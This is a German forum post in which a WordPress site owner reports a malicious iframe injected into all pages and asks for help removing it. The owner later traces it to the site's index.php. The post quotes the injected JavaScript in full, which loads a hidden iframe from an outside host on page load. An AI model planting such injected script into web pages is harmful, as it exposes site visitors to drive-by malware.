malware iframe unter dem abschließenden html tag

habe einen iframe durch zufall entdeckt, der sich auf allen seiten eingenistet hat. Frage mich nun, wie ich den weg bekomme. Code(in der html Ausgabe) sieht so aus:

<script type="text/javascript" language="javascript" >                                                                     (function () {    var id = '6';    var vncqc09 = document.createElement('iframe');    
vncqc09.src = 'http://arealroku.cz/dtd.php';    vncqc09.style.position = 'absolute';    
vncqc09.style.border = '1';    vncqc09.style.height = '31px';    vncqc09.style.width = '42px';    
vncqc09.style.left = '500px';    vncqc09.style.top = '100px';    
if (!document.getElementById('vncqc')) 
{        document.write('<style>body{overflow-x:hidden;}</style>');
document.write('<div id=\'vncqc\' style="position:absolute; width:80%; height:100%;" ></div>');        document.getElementById('vncqc').appendChild(vncqc09);    }})();
</script>

Kommt einem von Euch das Teil bekannt vor? Hatte jemand schon mal ein ähnliches Problem und dafür nen Lösungsansatz?

Derzeit ist er nicht wirklich aktiv, weder AVG noch Avira noch Malwarebytes melden sich, daher gebe ich den Link zu Seite hier mit rein (hoffe, ich werde dafür nicht verbal gesteinigt):
http://www.ahlswede.eu

Problem gelöst. der Code hatte sich nicht in den Themedateien eingenistet sondern in der index.php von WP selbst.

Das"wo ist er hegekommen?" würde ich auch gerne rauskriegen... keine Ahnung. Die .htaccess hat den folgenden Inhalt:

Zitat

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

Alles anzeigen

Also Standard. Habe heute einen neuen User angelegt, dem alten User ein extrem schwieriges Passwort gegeben. Mal sehen, ob das hilft. Wie kann ich prüfen, ob da neue Dateien dazu gekommen sind? Die Scheiss-Dateien sind zu 99,9% hidden....